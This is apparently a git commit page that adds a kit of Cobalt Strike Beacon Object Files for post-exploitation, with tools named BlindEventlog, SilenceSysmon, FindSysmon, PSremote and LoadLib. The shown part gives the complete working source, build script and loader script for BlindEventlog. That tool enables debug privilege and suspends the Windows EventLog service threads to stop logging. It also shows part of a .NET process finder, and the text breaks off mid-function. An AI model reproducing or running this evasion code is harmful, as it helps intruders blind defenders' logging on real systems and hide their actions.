unknown 2 anni fa
parent
commit
db89d9b285
55 ha cambiato i file con 3561 aggiunte e 1 eliminazioni
  1. 17 0
      KIT/BlindEventlog/README.md
  2. 69 0
      KIT/BlindEventlog/beacon.h
  3. 281 0
      KIT/BlindEventlog/blindeventlog.c
  4. 32 0
      KIT/BlindEventlog/blindeventlog.cna
  5. 83 0
      KIT/BlindEventlog/blindeventlog.h
  6. 6 0
      KIT/BlindEventlog/bofcompile.bat
  7. 11 0
      KIT/FindDotnet/README.md
  8. 69 0
      KIT/FindDotnet/beacon.h
  9. 5 0
      KIT/FindDotnet/bofcompile.bat
  10. 193 0
      KIT/FindDotnet/finddotnet.c
  11. 22 0
      KIT/FindDotnet/finddotnet.cna
  12. 37 0
      KIT/FindDotnet/finddotnet.h
  13. 26 0
      KIT/FindHandle/README.md
  14. 69 0
      KIT/FindHandle/beacon.h
  15. 6 0
      KIT/FindHandle/bofcompile.bat
  16. 292 0
      KIT/FindHandle/findhandle.c
  17. 63 0
      KIT/FindHandle/findhandle.cna
  18. 110 0
      KIT/FindHandle/findhandle.h
  19. 16 0
      KIT/FindLib/README.md
  20. 69 0
      KIT/FindLib/beacon.h
  21. 6 0
      KIT/FindLib/bofcompile.bat
  22. 255 0
      KIT/FindLib/findlib.c
  23. 57 0
      KIT/FindLib/findlib.cna
  24. 37 0
      KIT/FindLib/findlib.h
  25. 14 0
      KIT/FindRWX/README.md
  26. 69 0
      KIT/FindRWX/beacon.h
  27. 5 0
      KIT/FindRWX/bofcompile.bat
  28. 166 0
      KIT/FindRWX/findrwx.c
  29. 30 0
      KIT/FindRWX/findrwx.cna
  30. 23 0
      KIT/FindRWX/findrwx.h
  31. 15 0
      KIT/FindSysmon/README.md
  32. 69 0
      KIT/FindSysmon/beacon.h
  33. 6 0
      KIT/FindSysmon/bofcompile.bat
  34. 363 0
      KIT/FindSysmon/findsysmon.c
  35. 32 0
      KIT/FindSysmon/findsysmon.cna
  36. 63 0
      KIT/FindSysmon/findsysmon.h
  37. 15 0
      KIT/LoadLib/README.md
  38. 69 0
      KIT/LoadLib/beacon.h
  39. 6 0
      KIT/LoadLib/bofcompile.bat
  40. 182 0
      KIT/LoadLib/loadlib.c
  41. 34 0
      KIT/LoadLib/loadlib.cna
  42. 26 0
      KIT/LoadLib/loadlib.h
  43. 14 0
      KIT/PSremote/README.md
  44. 69 0
      KIT/PSremote/beacon.h
  45. 6 0
      KIT/PSremote/bofcompile.bat
  46. 147 0
      KIT/PSremote/psremote.c
  47. 33 0
      KIT/PSremote/psremote.cna
  48. 25 0
      KIT/PSremote/psremote.h
  49. 16 0
      KIT/SilenceSysmon/README.md
  50. 69 0
      KIT/SilenceSysmon/beacon.h
  51. 6 0
      KIT/SilenceSysmon/bofcompile.bat
  52. 79 0
      KIT/SilenceSysmon/silencesysmon.c
  53. 30 0
      KIT/SilenceSysmon/silencesysmon.cna
  54. 25 0
      KIT/SilenceSysmon/silencesysmon.h
  55. 24 1
      README.md

+ 17 - 0
KIT/BlindEventlog/README.md

@@ -0,0 +1,17 @@
+# BlindEventlog
+Blind Eventlog by suspending its threads. This technique requires elevated privileges.
+
+Be aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.
+
+## Options
+`suspend`: find and suspend all Eventlog threads and disrupt its functionality.
+`resume`: find and resume all Eventlog threads and restore its functionality.
+
+## Usage
+`blindeventlog <suspend | resume>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/BlindEventlog/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 281 - 0
KIT/BlindEventlog/blindeventlog.c

@@ -0,0 +1,281 @@
+#include <windows.h>  
+#include <Strsafe.h>
+#include <tlhelp32.h>  
+#include "blindeventlog.h"
+#include "beacon.h"
+#pragma comment(lib,"Advapi32.lib")
+#pragma comment(lib,"shell32.lib")
+
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
+		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
+			goto CleanUp;
+		}
+	}
+
+	hr = S_OK;
+
+CleanUp:
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); 
+	}
+
+	va_end(argList);
+	return hr;
+}
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+VOID BeaconOutputStreamW() {
+	STATSTG ssStreamData = { 0 };
+	SIZE_T cbSize = 0;
+	ULONG cbRead = 0;
+	LARGE_INTEGER pos;
+	LPWSTR lpwOutput = NULL;
+
+	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
+		return;
+	}
+
+	cbSize = ssStreamData.cbSize.LowPart;
+	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
+	if (lpwOutput != NULL) {
+		pos.QuadPart = 0;
+		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
+			goto CleanUp;
+		}
+
+		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
+			goto CleanUp;
+		}
+
+		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
+	}
+
+CleanUp:
+	if (g_lpStream != NULL) {
+		g_lpStream->lpVtbl->Release(g_lpStream);
+		g_lpStream = NULL;
+	}
+
+	if (g_lpwPrintBuffer != NULL) {
+		MSVCRT$free(g_lpwPrintBuffer); 
+		g_lpwPrintBuffer = NULL;
+	}
+
+	if (lpwOutput != NULL) {
+		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
+	}
+	return;
+}
+
+
+
+
+
+
+BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
+	HANDLE hToken;
+    TOKEN_PRIVILEGES tp;
+    LUID luid;
+
+	/*
+	//alternative option if advapi32 isn't getting loaded
+	HMODULE hAdvapi32;
+    hAdvapi32 = KERNEL32$LoadLibraryA("Advapi32.dll");
+    if (hAdvapi32 == NULL) {
+        return FALSE;
+    }
+	
+    OpenProcessToken_t pOpenProcessToken = (OpenProcessToken_t)GetProcAddress(hAdvapi32, "OpenProcessToken");
+    if (pOpenProcessToken == NULL) {
+        return FALSE;
+    }
+    if (!pOpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
+	*/
+	
+	if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
+    if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE; 
+
+    tp.PrivilegeCount = 1;
+    tp.Privileges[0].Luid = luid;
+    if (bEnablePrivilege)
+        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+    else
+        tp.Privileges[0].Attributes = 0;
+
+    if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE; 
+    if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
+
+    return TRUE;
+}
+
+
+BOOL Eventlog(int action) {
+	SERVICE_STATUS_PROCESS svcStatus;
+	svcStatus.dwServiceType = 0;
+	svcStatus.dwCurrentState = 0;
+	svcStatus.dwControlsAccepted = 0;
+	svcStatus.dwWin32ExitCode = 0;
+	svcStatus.dwServiceSpecificExitCode = 0;
+	svcStatus.dwCheckPoint = 0;
+	svcStatus.dwWaitHint = 0;
+	svcStatus.dwProcessId = 0;
+	svcStatus.dwServiceFlags = 0;
+	
+	DWORD bytesNeeded = 0;
+	HANDLE hSvcProc = NULL;
+	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
+	THREADENTRY32 te32;
+	THREAD_BASIC_INFORMATION threadBasicInfo;
+	PVOID subProcessTag = NULL;
+	BOOL bIsWoW64 = FALSE;
+	DWORD dwOffset = NULL;
+	BOOL result = FALSE;
+	
+	NtQueryInformationThread_t pNtQueryInformationThread = (NtQueryInformationThread_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
+	I_QueryTagInformation_t pI_QueryTagInformation = (I_QueryTagInformation_t) GetProcAddress(GetModuleHandle("advapi32.dll"), "I_QueryTagInformation");
+	
+	SC_HANDLE sc = Advapi32$OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
+	SC_HANDLE svc = Advapi32$OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
+
+	Advapi32$QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE) &svcStatus, sizeof(svcStatus), &bytesNeeded);
+	DWORD svcPID = svcStatus.dwProcessId;
+	
+	hSvcProc = KERNEL32$OpenProcess(PROCESS_VM_READ, FALSE, svcPID);
+	if (hSvcProc == NULL) {
+		BeaconPrintf(CALLBACK_ERROR,"[-] Failed to open handle to eventlog process: %d\n", svcPID);
+		return result;
+	}
+
+	BeaconPrintToStreamW(L"[+] Opened handle to eventlog process: %d\n", svcPID);
+
+	hThreadSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
+	if (hThreadSnap == INVALID_HANDLE_VALUE) return result;
+	te32.dwSize = sizeof(THREADENTRY32);
+	
+	if (!KERNEL32$Thread32First(hThreadSnap, &te32)) {
+		KERNEL32$CloseHandle(hThreadSnap);
+		return result;
+	}
+	
+	
+	do {
+		if (te32.th32OwnerProcessID == svcPID) {
+
+			HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
+			if (hThread == NULL) {
+				return result;
+			}
+
+			NTSTATUS status = pNtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS) 0, &threadBasicInfo, sizeof(threadBasicInfo), NULL);
+
+			bIsWoW64 = KERNEL32$IsWow64Process(hSvcProc, &bIsWoW64);
+			if (!bIsWoW64)
+				dwOffset = 0x1720;
+			else
+				dwOffset = 0xf60;
+			
+			KERNEL32$ReadProcessMemory(hSvcProc, ((PBYTE)threadBasicInfo.pTebBaseAddress + dwOffset), &subProcessTag, sizeof(subProcessTag), NULL);
+
+			if (!subProcessTag) {
+				KERNEL32$CloseHandle(hThread);
+				continue;
+			}	
+				
+			SC_SERVICE_TAG_QUERY query = { 0 };
+			
+			if (pI_QueryTagInformation)	{
+				query.processId = (ULONG) svcPID;
+				query.serviceTag = (ULONG) subProcessTag;
+				query.reserved = 0;
+				query.pBuffer = NULL;
+				
+				pI_QueryTagInformation(NULL, ServiceNameFromTagInformation, &query);
+
+				if (MSVCRT$_wcsicmp((wchar_t *) query.pBuffer, L"eventlog") == 0) {
+					if(action == 1 && KERNEL32$SuspendThread(hThread) != -1) {
+						BeaconPrintToStreamW(L"[+] Suspended Eventlog thread: %d\n", te32.th32ThreadID);
+						result = TRUE;
+					}
+					else if (action == 2 && KERNEL32$ResumeThread(hThread) != -1) {
+						BeaconPrintToStreamW(L"[+] Resumed Eventlog thread: %d\n", te32.th32ThreadID);
+						result = TRUE;
+					}
+					else {
+						BeaconPrintToStreamW(L"[-] Failed to change the state of the Eventlog thread: %d\n", te32.th32ThreadID);
+						result = FALSE;
+					}
+				}
+			}
+			KERNEL32$CloseHandle(hThread);
+		}
+	} while (KERNEL32$Thread32Next(hThreadSnap, &te32));
+
+	KERNEL32$CloseHandle(hThreadSnap);
+	KERNEL32$CloseHandle(hSvcProc);
+
+    return result;
+}
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	CHAR *action;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	action = BeaconDataExtract(&parser, NULL);
+
+
+	if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
+		BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to interact with Eventlog.\n");
+		return 0;
+	}
+	if (MSVCRT$strcmp(action, "suspend") == 0) {
+		res = Eventlog(1);
+	}
+	else if (MSVCRT$strcmp(action, "resume") == 0) {
+		res = Eventlog(2);
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following options: suspend | resume\n");
+		return 0;
+	}
+	
+	if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to blind Eventlog!\n");
+	else  {
+		BeaconOutputStreamW();
+		BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
+	}
+	
+	return 0;
+}

+ 32 - 0
KIT/BlindEventlog/blindeventlog.cna

@@ -0,0 +1,32 @@
+# author REDMED-X
+
+beacon_command_register(
+	"blindeventlog", "Blind Eventlog by suspending its threads.\n",
+	"INFO:\nBlind Eventlog by suspending its threads. This technique requires elevated privileges.\nBe aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.\n\nOPTIONS:\n[suspend]: find and suspend all Eventlog threads and disrupt its functionality\n[resume]: find and resume all Eventlog threads and restore its functionality\n\n" .
+	"USAGE:\nblindeventlog <suspend | resume>\n\n");
+
+
+alias blindeventlog {
+    $bid = $1;
+    $action = $2;
+
+	if ($action eq "suspend" || $action eq "resume") {
+	}
+	else {
+		berror($bid, "Please specify one of the following actions: suspend | resume\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("blindeventlog.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+	blog($bid, "Tasked to interact with Eventlog..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 83 - 0
KIT/BlindEventlog/blindeventlog.h

@@ -0,0 +1,83 @@
+#include <windows.h>  
+
+#define ENABLE 1
+#define DISABLE 0
+
+typedef enum _SC_SERVICE_TAG_QUERY_TYPE {
+	ServiceNameFromTagInformation = 1,
+	ServiceNameReferencingModuleInformation,
+	ServiceNameTagMappingInformation,
+} SC_SERVICE_TAG_QUERY_TYPE, *PSC_SERVICE_TAG_QUERY_TYPE;
+
+typedef struct _SC_SERVICE_TAG_QUERY {
+	ULONG   processId;
+	ULONG   serviceTag;
+	ULONG   reserved;
+	PVOID   pBuffer;
+} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
+
+typedef struct _CLIENT_ID {
+	DWORD       uniqueProcess;
+	DWORD       uniqueThread;
+
+} CLIENT_ID, *PCLIENT_ID;
+
+typedef struct _THREAD_BASIC_INFORMATION {
+	NTSTATUS    exitStatus;
+	PVOID       pTebBaseAddress;
+	CLIENT_ID   clientId;
+	KAFFINITY   AffinityMask;
+	int			Priority;
+	int			BasePriority;
+	int			v;
+
+} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;
+
+
+//SetPrivilege
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
+
+
+//Eventlog
+typedef ULONG (WINAPI * I_QueryTagInformation_t)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
+typedef NTSTATUS (WINAPI * NtQueryInformationThread_t)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
+DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess);
+DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess);
+DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceStatusEx(SC_HANDLE hService, SC_STATUS_TYPE dwInfoLevel, LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD th32ProcessID);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32);
+DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
+DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);
+DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);
+WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+
+
+//BeaconPrintToStreamW + BeaconOutputStreamW
+#define MAX_STRING 8192
+INT g_iGarbage = 1;
+LPSTREAM g_lpStream = (LPSTREAM)1;
+LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
+WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+
+

+ 6 - 0
KIT/BlindEventlog/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc blindeventlog.c
+move /y blindeventlog.obj blindeventlog.o
+dumpbin /disasm blindeventlog.o > blindeventlog.disasm
+

+ 11 - 0
KIT/FindDotnet/README.md

@@ -0,0 +1,11 @@
+# FindDotnet
+Find processes that most likely have .NET loaded by searching for the section name: `\BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>`
+
+## Usage
+`finddotnet`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 69 - 0
KIT/FindDotnet/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/FindDotnet/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc finddotnet.c
+move /y finddotnet.obj finddotnet.o
+dumpbin /disasm finddotnet.o > finddotnet.disasm

+ 193 - 0
KIT/FindDotnet/finddotnet.c

@@ -0,0 +1,193 @@
+#include <windows.h>
+#include <stdio.h>
+#include <psapi.h>
+#include <shlwapi.h>
+#include <strsafe.h>
+#include <winternl.h>
+#include "beacon.h"
+#include "finddotnet.h"
+
+#pragma comment(lib, "ntdll.lib")
+#pragma comment(lib, "User32.lib")
+#pragma comment(lib, "Shlwapi.lib")
+
+
+//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
+HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
+	HRESULT hr = S_FALSE;
+	va_list argList;
+	DWORD dwWritten = 0;
+
+	if (g_lpStream <= (LPSTREAM)1) {
+		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
+		if (FAILED(hr)) {
+			return hr;
+		}
+	}
+
+	// For BOF we need to avoid large stack buffers, so put print buffer on heap.
+	if (g_lpwPrintBuffer <= (LPWSTR)1) { // Allocate once and free in BeaconOutputStreamW. 
+		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
+		if (g_lpwPrintBuffer == NULL) {
+			hr = E_FAIL;
+			goto CleanUp;
+		}
+	}
+
+	va_start(argList, lpwFormat);
+	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
+		hr = E_FAIL;
+		goto CleanUp;
+	}
+
+	if (g_lpStream != NULL) {
